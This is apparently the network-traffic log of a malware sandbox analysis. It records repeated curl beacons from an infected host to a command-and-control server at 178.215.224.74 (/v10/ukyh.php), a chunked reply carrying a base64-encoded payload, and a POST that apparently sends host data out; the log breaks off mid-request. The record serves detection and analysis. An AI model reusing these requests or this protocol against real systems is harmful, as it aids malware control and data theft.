Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	50026	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:27.326965094 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:28.589703083 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:28 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	50027	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:29.120925903 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:30.446918011 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:30 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	50028	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:30.674067020 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:31.975743055 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:31 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	50029	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:32.499207973 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:33.824197054 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:33 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50030	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:34.029565096 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:35.290307045 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:35 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	50031	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:35.926666021 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:37.244282961 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:37 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	50032	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:37.439237118 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:38.693674088 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:38 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	50033	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:39.266722918 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:40.519756079 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:40 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	50034	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:40.748153925 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:42.049232006 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:41 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	50035	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:42.749125004 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:44.097110033 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:43 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	50036	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:44.337913990 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:45.696007013 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:45 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	50037	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:46.688987970 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:47.966897964 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:47 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	50038	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:48.166101933 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:49.466747046 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:49 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	50039	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:50.128731966 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:51.473069906 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:51 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	50040	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:50.902283907 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:52.162559986 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:51 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	50041	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:51.814507961 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:53.131591082 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:52 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	50042	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:52.418018103 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:53.731255054 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:53 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	50043	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:53.716804028 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:55.017038107 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:54 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	50044	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:54.476454973 CET	118	OUT	GET /v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:55.909356117 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:55 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 64 39 34 62 38 0d 0a 56 55 56 7a 52 6b 70 41 55 55 46 4a 51 30 4e 42 51 55 78 72 56 32 56 55 53 6d 52 61 65 47 4a 79 51 58 46 50 53 45 46 51 55 32 6c 45 5a 55 6c 4f 51 55 46 42 51 32 45 7a 52 6e 46 68 57 46 4a 75 54 58 45 31 61 57 42 48 65 6e 45 76 57 6a 73 36 56 6b 78 56 4d 30 46 4a 4e 6d 64 46 4d 55 39 54 58 45 68 4a 53 6b 30 32 52 30 42 44 61 57 4e 4a 52 57 45 34 55 44 4e 4a 65 6b 5a 35 4e 57 6c 76 61 7a 4a 2f 62 31 4a 44 51 57 4e 42 53 55 31 41 52 45 70 77 56 56 55 37 64 6c 42 45 64 55 56 68 52 57 77 32 54 30 64 57 65 31 68 74 63 44 4e 6d 50 6d 4e 57 56 6c 38 70 4d 33 78 69 4c 56 56 7a 4f 7a 46 77 59 6a 46 38 55 6d 64 30 55 55 70 53 64 32 6c 54 61 43 74 62 54 6c 64 52 63 55 4e 54 61 55 6c 6e 51 45 6b 31 4e 32 70 77 54 46 6c 54 62 32 39 54 51 32 31 67 5a 46 56 51 62 32 64 52 51 31 68 4d 64 44 45 78 4d 32 55 6a 4b 58 59 78 55 48 45 70 56 58 68 47 4e 7a 64 77 50 7a 73 77 4e 54 64 61 57 46 64 75 64 6e 52 30 57 33 35 56 4e 33 56 69 54 30 70 4e 59 30 67 34 51 7a 68 52 4e 47 70 70 4f 32 78 51 4e 6d 52 [TRUNCATED] Data Ascii: d94b8VUVzRkpAUUFJQ0NBQUxrV2VUSmRaeGJyQXFPSEFQU2lEZUlOQUFBQ2EzRnFhWFJuTXE1aWBHenEvWjs6VkxVM0FJNmdFMU9TXEhJSk02R0BDaWNJRWE4UDNJekZ5NWlvazJ/b1JDQWNBSU1AREpwVVU7dlBEdUVhRWw2T0dWe1htcDNmPmNWVl8pM3xiLVVzOzFwYjF8Umd0UUpSd2lTaCtbTldRcUNTaUlnQEk1N2pwTFlTb29TQ21gZFVQb2dRQ1hMdDExM2UjKXYxUHEpVXhGNzdwPzswNTdaWFdudnR0W35VN3ViT0pNY0g4QzhRNGppO2xQNmRpLXYtL3E6Ui82Yk06eGVWbXstcEx4ZHY3WGQvN2lSVFYzO3ZjL3JHVFYnNjdxYntYOU8tVS83OzcnOUNRdi8wVSlvYDVNKWxmKy81PmRtUGRJUycrNk9sbDVyent4W2lGQUxIc1lmamx0WFZ1RmVnYzM2YSszY3B0MW5FYWIxYS9HMUh2RWkwMTV2S2tgOUk9cGVjQU5WRlIyaGpAYUtNNHkzbllaTmViOz5tUC92UkxZWGg0am1NdGM5bjVlSzZkRjJkL3BKanIvRlZmT3l0fUBpamthdVRVd0ozbF9cd2BZSjcrbitoWk0+O2U3ai07VC9qdFdRdzlccnpDN3NlSC0pLTU1dlZlcXBJb24vMWxJSG1JVXpwLUVRWUg/YmtIKzc4c2x3cWgtS0phVWJgNzhMdHVjUkhjSzd3a2RDZm0xVkM0N25TcUEwND9KYjROWEl9aFpSZilnMU5vck06MTRLUnlkejEvdEVodnFkMmRDdHcxdnVJd39HNWF6SzppOnZ7M2RpO0hhN1N5dGNsRnpUI1YxNkxObFFuZyNdc0ZDLUVQN3VUMmZgelQxd0pWbnFFMVM4Zi8/eG91SDM1T2xBYE5vLTREc2ZyUS1aT3t2NztUMzZSNXNubmR+SWZWaDtER0V2dVh0YjtwNi9AN2QyM1
Nov 24, 2024 12:06:55.909492970 CET	1236	IN	Data Raw: 4e 42 4f 54 46 5a 5a 6d 31 68 56 46 6f 35 55 33 49 7a 4d 6b 34 31 4f 6e 4d 31 65 53 74 49 56 7a 78 55 4e 30 4a 68 55 31 42 2f 64 6a 5a 47 5a 45 77 30 4b 55 5a 78 49 31 42 6d 4f 31 55 79 53 45 4d 76 4f 57 70 45 64 6c 46 53 4e 45 68 45 4f 6b 70 79 Data Ascii: NBOTFZZm1hVFo5U3IzMk41OnM1eStIVzxUN0JhU1B/djZGZEw0KUZxI1BmO1UySEMvOWpEdlFSNEhEOkpyQilIVzZQUHpuOkFOZHd3STA7RHZ1OzMyTGpMMUhjSnN4Pm12amstWm03dHhQRHV0O2o3WmlpdDpGLUhYeU47Zm9mdy9KcVUnUjdUWE1mT01kZkxOdWA4V1VYI1I3dD4xRmsvLSktLTctOHA4XHJWMjJSTXBDVXF4Z
Nov 24, 2024 12:06:55.909504890 CET	1236	IN	Data Raw: 34 34 51 45 74 47 64 30 5a 67 4e 6a 4a 59 58 32 68 4d 4b 33 52 47 61 48 4a 32 52 30 70 6f 53 31 68 71 54 46 51 74 54 30 78 4d 4f 6b 39 6d 64 30 42 77 53 57 4a 77 54 31 55 35 4d 69 39 6b 55 57 78 30 59 56 45 7a 54 44 6c 46 62 45 74 37 4e 57 70 53 Data Ascii: 44QEtGd0ZgNjJYX2hMK3RGaHJ2R0poS1hqTFQtT0xMOk9md0BwSWJwT1U5Mi9kUWx0YVEzTDlFbEt7NWpSWFFQNXZGbkVkTHBkY2k0VWpWRytnd21qZk5kTU11djRwN2xFeEhVcXgzYTVTV2RBdVRQN3Y6TkhjeEhccndDRndoeUdXLUNDdntIRVlDakRkS01yTXhVMjFlYTFaRVhWMExReXBXaU1sQWpIUUk6NW16MlFNQGw5d
Nov 24, 2024 12:06:55.909514904 CET	1236	IN	Data Raw: 6b 33 56 6e 68 30 4d 6d 46 71 4d 6c 4e 70 4f 44 5a 54 5a 30 52 41 51 30 4d 30 57 45 38 35 52 6b 64 4b 57 47 74 53 63 32 39 32 61 6d 63 33 55 56 64 70 54 44 41 7a 55 32 52 4c 57 54 46 6c 4e 6e 74 33 61 33 5a 68 65 55 70 33 59 6e 46 4a 63 6b 68 6e Data Ascii: k3Vnh0MmFqMlNpODZTZ0RAQ0M0WE85RkdKWGtSc292amc3UVdpTDAzU2RLWTFlNnt3a3ZheUp3YnFJckhnNm4rZHV3c21ITG0yO1VHdC8tSTRQN2NIK1VmZFIxUVlkLXIjRExVblVbSzdLPHxSe1ZSdVcyWGhaYE4wVlZZaVR4TnNINE9kQX0zT3dtWmpNUGZmN2tVTWJySGdla3JXRDdwYnZBRkpAO3Jrd3JSRnBDZmNsbFl1M
Nov 24, 2024 12:06:55.909527063 CET	1236	IN	Data Raw: 63 7a 5a 6a 4e 55 64 32 38 7a 63 31 64 73 61 79 64 65 57 6d 70 73 4e 55 46 43 5a 32 70 54 5a 6d 52 39 65 6b 56 36 5a 55 39 49 5a 7a 4a 6b 57 53 38 79 53 31 42 73 5a 33 45 31 62 54 68 72 53 6a 4d 74 62 6b 49 7a 53 45 56 6e 59 31 42 62 55 6b 6b 72 Data Ascii: czZjNUd28zc1dsaydeWmpsNUFCZ2pTZmR9ekV6ZU9IZzJkWS8yS1BsZ3E1bThrSjMtbkIzSEVnY1BbUkkrTV0yYzxMVE1tcjUpRntbT01pRFtqVjN1dnBufndoeVdxMnFKKXdodGFxO1hRdnB3bzdpKXY2YzZReVp5RUMtUGU8YW5pSWR1T3VLbDdBJ2VjdnFyVTViUHFsaHJFRkwxaGN2Z3FJZkVoTWFlOkpOUHBON3BHK3c0R
Nov 24, 2024 12:06:55.909540892 CET	1236	IN	Data Raw: 68 79 56 56 5a 4c 4d 58 41 37 52 32 78 42 51 45 67 79 55 55 42 6d 5a 55 6c 55 61 31 4e 62 62 47 64 71 65 46 42 6d 59 58 56 74 4d 55 78 79 63 53 74 4d 62 32 70 56 4e 57 39 43 55 55 74 5a 54 57 35 61 4d 6b 64 56 4c 30 6f 32 63 54 4a 39 57 6c 55 79 Data Ascii: hyVVZLMXA7R2xBQEgyUUBmZUlUa1NbbGdqeFBmYXVtMUxycStMb2pVNW9CUUtZTW5aMkdVL0o2cTJ9WlUyOFhoa1RFT1JXUmpZQ3hWejFVeHFWV0pydXRYN2x7QW5HUE5RQTp1QTFjTUBWWk5sS21gSGxBTnllNG5WbWwxbG50eGtwKUgzc3R1OG9Ta3k0WmtBdGNHZ21mNEl1dnhMUlNPcjMwc0M6SlJTUkFyfXo6R2lJbG5rd
Nov 24, 2024 12:06:55.909578085 CET	1236	IN	Data Raw: 46 4c 64 57 74 41 56 56 74 58 55 47 35 68 4f 30 74 6c 59 31 42 4b 62 6d 59 32 63 33 56 71 59 6c 5a 58 57 48 6b 30 5a 56 46 69 53 48 5a 6b 52 6c 46 48 4f 48 6c 45 5a 55 5a 4b 51 30 31 71 56 31 52 47 54 48 63 79 4e 6c 56 52 52 47 70 68 4e 31 52 42 Data Ascii: FLdWtAVVtXUG5hO0tlY1BKbmY2c3VqYlZXWHk0ZVFiSHZkRlFHOHlEZUZKQ01qV1RGTHcyNlVRRGphN1RBNitTXTttcGtvZ2hsaDVsW0pScGZ5c1U1Q1ZMVXtOR1BpY3AybWl6dmNYRHpiNGtReGZFeURMWE9vR3htRm1SYmFwV19vY2ZXemFMRjtSY3pdTmpMN1c1VDBoeHdWcWA5Zys0MGtacUFOM0gwekxaWEpEM0ZlWEBJQ
Nov 24, 2024 12:06:55.909594059 CET	108	IN	Data Raw: 64 41 5a 48 42 50 64 30 55 32 51 33 42 31 63 44 46 47 54 30 68 57 62 46 56 59 55 6c 46 68 54 55 63 31 4b 31 64 68 59 32 77 33 56 57 59 38 53 48 64 72 4d 32 31 45 53 56 5a 61 64 30 31 49 59 30 30 79 54 56 56 49 59 55 63 35 56 46 56 6f 61 7a 46 52 Data Ascii: dAZHBPd0U2Q3B1cDFGT0hWbFVYUlFhTUc1K1dhY2w3VWY8SHdrM21ESVZad01IY00yTVVIYUc5VFVoazFRK1JiUXd1c090SXE1Rm41ei1LY0
Nov 24, 2024 12:06:55.909605026 CET	1236	IN	Data Raw: 78 5a 56 33 5a 47 63 6a 5a 58 5a 44 52 57 64 46 68 63 64 6b 70 44 54 32 56 42 65 30 6c 59 65 45 6c 4b 4b 55 56 32 61 55 4a 53 59 45 64 59 56 6c 68 47 64 32 70 69 62 30 52 6e 59 33 5a 79 52 48 56 73 64 32 4a 57 52 58 5a 6f 51 48 68 59 4e 47 38 31 Data Ascii: xZV3ZGcjZXZDRWdFhcdkpDT2VBe0lYeElKKUV2aUJSYEdYVlhGd2pib0RnY3ZyRHVsd2JWRXZoQHhYNG81dnBYSURkbSs1Yy1hb0ZIZW9id0l7NUpVRC1uUE5pQmxCUTczTi1KcHZSeHFSQFdDcVZzUmxlVFFGMkRNR0FuM0oyaExNY2lKV0R0YjR1bF56ZEUjN2VhZDFhLTA0S0xzQURGOkNycE5zdTk1TVoyWHg5d0praEpsZ
Nov 24, 2024 12:06:55.909617901 CET	1236	IN	Data Raw: 68 55 53 45 68 68 59 57 6c 4f 56 48 64 5a 4f 6b 64 4d 53 44 64 7a 54 55 56 72 62 7a 74 32 59 31 70 61 4b 30 5a 32 51 31 73 77 65 46 4e 69 4e 47 4e 58 5a 32 30 32 55 44 59 77 64 56 5a 6e 55 6c 67 34 52 57 42 4b 49 32 30 36 63 6c 73 37 57 46 68 69 Data Ascii: hUSEhhYWlOVHdZOkdMSDdzTUVrbzt2Y1paK0Z2Q1sweFNiNGNXZ202UDYwdVZnUlg4RWBKI206cls7WFhiZXx7dntybnFkNTBaWlcxWHJZWDB7SjBTa3l5cHpjOVhkM3dFeGBrSG97VVp5Y0ZbeHhVdzluVFxuVU1UNFhsSDtveHFESjR6OFlNVnlqX21XV2NEVVRNdlN1b2pxcEVPZjN4bjFLZDRMQVRrL2VOSD1oSVlBRkw4O
Nov 24, 2024 12:06:56.029256105 CET	1236	IN	Data Raw: 46 31 65 6a 49 7a 4e 55 56 4b 4f 33 56 73 4f 57 39 34 55 6e 46 6f 63 6c 59 78 59 57 74 78 5a 56 70 7a 53 48 59 70 4c 56 52 59 4f 33 73 74 4f 6c 68 51 4b 30 64 32 4e 6d 74 6a 4f 33 78 42 4b 31 68 69 55 56 5a 46 4e 30 46 4d 63 6d 4a 77 53 6b 35 61 Data Ascii: F1ejIzNUVKO3VsOW94UnFoclYxYWtxZVpzSHYpLVRYO3stOlhQK0d2NmtjO3xBK1hiUVZFN0FMcmJwSk5aT2tVUTB4UW5oWDNUTUoyYmVbMEUyXnZ4eWVpQHJEW0Y2VVFyM2hwM29RV2xsbXJccy85d0R1b05pTWdONW09NWYtSXo2YTdTVWRVV3RMWHdFYjJiYWxrWHxhTk1gQTc6RzJ+fW50dmExQU9YZEdpMWZ6d1NOSzNUM

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	50045	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:55.223021030 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:56.551060915 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:56 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	50046	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:57.165854931 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:06:58.507601023 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:06:58 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	50047	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:59.262660980 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:00.573169947 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:00 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	50048	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:06:59.291413069 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=4CA966315CCC70F4BEF0FE322EDE46&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 24, 2024 12:07:00.602314949 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:07:00 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	50049	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:07:00.713148117 CET	625	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 331 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 44 45 34 4b 44 4d 25 32 46 4f 43 77 77 4d 7a 63 73 4d 44 49 32 4a 6a 6f 33 4d 46 74 43 58 54 45 77 4d 43 6f 78 4d 6a 67 7a 4d 69 6f 78 4e 54 6f 75 4d 6a 4d 31 4c 6a 49 77 4e 43 